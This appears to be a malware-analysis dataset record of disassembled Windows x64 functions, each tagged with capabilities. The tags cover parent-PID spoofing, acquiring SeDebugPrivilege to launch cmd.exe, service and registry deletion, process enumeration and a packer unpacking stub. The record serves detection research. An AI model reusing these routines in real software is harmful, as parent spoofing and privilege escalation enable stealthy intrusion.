joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400214e0
Capabilities:
Get session information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
xor ebx, ebx
lea r9, [rsp + 0x48]
mov edi, eax
mov dword [rsp + 0x5c], ebx
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rbx
mov edx, edi
mov qword [rsp + 0x20], rax
lea r8d, [rbx + 0x18]
xor ecx, ecx
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x140021545
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140021545
cmp dword [rcx], ebx
jne 0x14002153f
mov eax, edi
jmp 0x1400215b7
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
xor edx, edx
mov dword [rsp + 0x58], ebx
lea rax, [rsp + 0x58]
xor ecx, ecx
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
test r8d, r8d
je 0x1400215a9
nop word [rax + rax]
mov eax, ebx
lea rcx, [rax + rax*2]
movups xmm0, xmmword [rdx + rcx*8]
movsd xmm1, qword [rdx + rcx*8 + 0x10]
movsd qword [rsp + 0x40], xmm1
cmp dword [rsp + 0x40], 0
movups xmmword [rsp + 0x30], xmm0
je 0x1400215d2
inc ebx
cmp ebx, r8d
jb 0x140021580
mov rcx, rdx
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140027ae0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
mov rcx, rdx
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, dword [rsp + 0x30]
jmp 0x1400215b7

Function at 0x140021730
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x140021760]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x38
ret
Function at 0x1400217e0
Capabilities:
Delete registry key
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x1400218bb
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400140a0
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8d, 0x10000
mov rcx, rbx
cmovae rdx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdx, qword [rsp + 0x48]
mov rdi, rax
cmp rdx, 0x10
jb 0x140021884
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002187f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021985
call fcn.140027b2c
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
test rdi, rdi
je 0x1400218b2
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call fcn.14001f2e0
cmp qword [rax + 0x18], 0x10
jb 0x1400218da
mov rax, qword [rax]
lea rcx, [rsp + 0x50]
mov r9d, 0xf023f
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14002191e
mov rcx, qword [rsp + 0x50]
lea rdx, [0x140061cb8]
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140021957
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021952
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002197f
call fcn.140027b2c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140021990
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140027ae0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
call fcn.14002e478
int3
call fcn.14002e478
int3
Function at 0x140021990
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
lea rbp, [rsp - 0x1620]
mov eax, 0x1720
call fcn.1400287c0
sub rsp, rax
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rbp + 0x1610], rax
xor edx, edx
lea rcx, [rbp + 0x610]
mov r8d, 0x1000
call fcn.14002a400
mov r8d, 0x800
lea rdx, [rbp + 0x610]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
lea rcx, [rbp + 0x200]
mov r8d, 0x410
call fcn.14002a400
mov edx, 0x49
lea rcx, [rsp + 0x50]
call fcn.1400144f0
cmp qword [rax + 0x18], 8
jb 0x140021a0e
mov rax, qword [rax]
lea r9, [rbp + 0x610]
mov r8, rax
mov edx, 0x208
lea rcx, [rbp + 0x200]
call fcn.140021620
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140021a6b
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021a66
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021b8f
call fcn.140027b2c
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x200
call fcn.14002a400
mov edx, 0x4a
lea rcx, [rsp + 0x50]
call fcn.1400144f0
cmp qword [rax + 0x18], 8
jb 0x140021a95
mov rax, qword [rax]
mov r8d, 0x100
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140021aea
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021ae5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021b89
call fcn.140027b2c
xor ecx, ecx
lea rdx, [rbp + 0x200]
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp - 0x10], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
movups xmmword [rbp - 0x30], xmm0
mov dword [rsp + 0x20], ecx
mov word [rbp - 0x30], cx
lea rcx, [rbp]
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x70], 0x68
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x34], 1
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1610]
xor rcx, rsp
call fcn.140027ae0
add rsp, 0x1720
pop rbp
ret
call fcn.14002e478
int3
call fcn.14002e478
int3
Function at 0x140022fd0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rbp + 0x1a8], rax
xor r15d, r15d
mov edi, r15d
call fcn.1400214e0
mov r14d, eax
cmp eax, 0xffffffff
jne 0x140023014
xor eax, eax
jmp 0x140023213
mov edx, 0x1e
mov qword [rsp + 0x2d8], rsi
lea rcx, [rbp + 0x188]
call fcn.1400144f0
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400231c7
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400231be
mov qword [rsp + 0x2d0], rbx
nop dword [rax]
lea rcx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r15w
jne 0x140023080
cmp qword [rbp + 0x1a0], 8
lea r10, [rbp + 0x188]
mov r11, qword [rbp + 0x198]
lea rcx, [rsp + 0x6c]
cmovae r10, qword [rbp + 0x188]
mov r9, r11
cmp rax, r11
cmovb r9, rax
test r9, r9
je 0x140023104
movzx edx, word [r10]
movzx r8d, word [rsp + 0x6c]
cmp dx, r8w
jb 0x14002319f
lea rbx, [rsp + 0x6c]
sub r10, rbx
cmp dx, r8w
ja 0x14002319f
cmp r9, 1
je 0x140023104
movzx edx, word [r10 + rcx + 2]
add rcx, 2
dec r9
movzx r8d, word [rcx]
cmp dx, r8w
jae 0x1400230dc
jmp 0x14002319f
cmp r11, rax
jb 0x14002319f
ja 0x14002319f
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14002319f
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], r15
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140023196
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x180]
mov r9d, 4
mov dword [rbp + 0x180], 4
lea r8, [rbp + 0x184]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14002318b
cmp dword [rbp + 0x184], r14d
cmove edi, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140023070
mov rbx, qword [rsp + 0x2d0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x1a0]
mov rsi, qword [rsp + 0x2d8]
cmp rdx, 8
jb 0x140023211
mov rcx, qword [rbp + 0x188]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002320c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023237
call fcn.140027b2c
mov eax, edi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rsp
call fcn.140027ae0
mov rdi, qword [rsp + 0x2e0]
add rsp, 0x2b0
pop r15
pop r14
pop rbp
ret
call fcn.14002e478
int3
Function at 0x140025580
Capabilities:
Check for time delay via gettickcount
Query service status
Start service

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140025776
mov edx, 9
lea rcx, [rsp + 0x30]
call fcn.1400140a0
cmp qword [rax + 0x18], 0x10
jb 0x1400255e1
mov rax, qword [rax]
mov r8d, 0xf01ff
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdx, qword [rsp + 0x48]
mov rdi, rax
cmp rdx, 0x10
jb 0x140025633
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002562e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002579d
call fcn.140027b2c
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
test rdi, rdi
je 0x14002576d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x140025764
lea rax, [rsp + 0x50]
mov r9d, 0x24
lea r8, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140025764
cmp dword [rsp + 0x5c], 2
mov qword [rsp + 0xa0], rbx
mov ebx, dword [rsp + 0x6c]
jne 0x14002573f
mov qword [rsp + 0xa8], r14
mov r14d, 0x2710
nop word [rax + rax]
mov eax, 0xcccccccd
mul dword [rsp + 0x70]
shr edx, 3
cmp edx, 0x3e8
jae 0x1400256db
mov edx, 0x3e8
jmp 0x1400256e2
cmp edx, r14d
cmova edx, r14d
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov r9d, 0x24
lea r8, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140025737
cmp dword [rsp + 0x6c], ebx
jbe 0x140025722
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [rsp + 0x6c]
mov esi, eax
jmp 0x140025730
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, dword [rsp + 0x70]
ja 0x140025737
cmp dword [rsp + 0x5c], 2
je 0x1400256c0
mov r14, qword [rsp + 0xa8]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x5c], 4
mov rbx, qword [rsp + 0xa0]
jne 0x140025776
mov al, 1
jmp 0x140025778
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140027ae0
lea r11, [rsp + 0x90]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002e478
int3

Function at 0x14003e9f8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003e7e8
Function at 0x140048acc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140048b53
mov rsi, rbx
cmp word [rax], bp
je 0x140048b12
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140048afc
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140048af8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400438fc
mov rdi, rax
test rax, rax
je 0x140048b40
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140029d50
mov rbp, rdi
xor ecx, ecx
call fcn.14004289c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140011190
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140011f40
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x268]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1e0], rax
lea rcx, [0x1400241c9]
call fcn.1400113c0
nop
mov dword [rbp + 0xe4], 1
mov r8d, dword [rbp + 0x210]
xor edx, edx
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x140011fcc
lea rax, str.successfully_open_process_:__n
mov qword [rbp + 0x1d8], rax
jmp 0x140011fda
lea rax, str.failed_to_open_process_:__n
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x1d8]
call fcn.1400111c7
nop
mov r8d, 0x70
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.1400112fd
nop
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.1400112fd
nop
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xc8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x78], rax
lea r9, [rbp + 0xc8]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
nop
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x108]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
nop
mov dword [rbp + 0x10], 0x70
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
je 0x140012103
lea rax, str.successfully_create_process_:__n
mov qword [rbp + 0x1d8], rax
jmp 0x140012111
lea rax, str.failed_to_create_process_:__n
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x1d8]
call fcn.1400111c7
nop
mov eax, dword [rbp + 0xe4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aea0]
call fcn.140011352
mov eax, edi
mov rcx, qword [rbp + 0x1e0]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret

Function at 0x140011226
Capabilities:
Terminate process

Disassembly:
jmp 0x140013b30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400112a3
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140012540
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400241c9]
call fcn.1400113c0
nop
lea rcx, str.SeDebugPrivilege
call fcn.140011163
test eax, eax
jne 0x14001257b
mov eax, 0xffffffff
jmp 0x1400125b3
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x108]
mov rcx, qword [rcx + rax]
call fcn.140011208
mov dword [rbp + 4], eax
lea rdx, str.C:WindowsSystem32cmd.exe
mov ecx, dword [rbp + 4]
call fcn.140011190
test eax, eax
jne 0x1400125b1
mov eax, 0xffffffff
jmp 0x1400125b3
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014e80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014ea0
xor al, al
jmp 0x140014f21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014eb3
xor al, al
jmp 0x140014f21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014edd
xor al, al
jmp 0x140014f21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ef1
xor al, al
jmp 0x140014f21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014f03
xor al, al
jmp 0x140014f21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014f1f
xor al, al
jmp 0x140014f21
mov al, 1
add rsp, 0x38
ret
Function at 0x140012d70
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113e8
movzx eax, al
test eax, eax
jne 0x140012d90
mov ecx, 7
call fcn.14001135c
nop
mov byte [rsp + 0x20], 0
call fcn.140011370
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012db4
mov ecx, 7
call fcn.14001135c
nop
jmp 0x140012e0c
cmp dword [0x14001e868], 0
jne 0x140012e07
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111cc
test eax, eax
je 0x140012de8
mov eax, 0xff
jmp 0x140012f11
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011366
mov dword [0x14001e868], 2
jmp 0x140012e0c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011348
call fcn.1400112d5
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012e69
mov rcx, qword [rsp + 0x30]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x140012e69
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.140011311
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012e9d
mov rcx, qword [rsp + 0x38]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x140012e9d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113a7
nop
call fcn.140012fc0
mov dword [rsp + 0x28], eax
call fcn.1400112b2
movzx eax, al
test eax, eax
jne 0x140012ebc
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012ecb
call fcn.1400113b1
nop
xor edx, edx
mov cl, 1
call fcn.140011159
mov eax, dword [rsp + 0x28]
jmp 0x140012f11
add rsp, 0x68
ret
Function at 0x5da120
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x5da12d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x5da13d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x5da125
lea eax, [rcx + 1]
jmp 0x5da14b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x5da15e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x5da144
sub eax, 3
jb 0x5da17e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x5da1cd
sar eax, 1
movsxd rbp, eax
jb 0x5da1b4
jmp 0x5da18c
add ebx, ebx
jne 0x5da18a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x5da1b4
inc ecx
add ebx, ebx
jne 0x5da19a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x5da1b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x5da1ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x5da19c
add ecx, 2
jmp 0x5da1b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.005da0e2
jmp 0x5da12d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xae600
mov dl, 0x1c
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x5da219
cmp rsi, rcx
jae 0x5da221
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x5da200
cmp al, 0x8f
ja 0x5da200
cmp byte [rsi - 2], 0xf
je 0x5da206
sub al, 0xe8
cmp al, 1
ja 0x5da1ea
cmp rsi, rcx
jae 0x5da221
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x5da1f0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x5da221
lodsb al, byte [rsi]
jmp 0x5da200
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1d6000]
mov eax, dword [rdi]
or eax, eax
je 0x5da27e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1da000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x5da22e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x5da278
mov qword [rbx], rax
add rbx, 8
jmp 0x5da24e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x5da2b8
cmp al, 0xef
ja 0x5da2aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x5da28a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x5da299
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x5da30c
sub rsp, 0xffffffffffffff80
jmp 0x471c00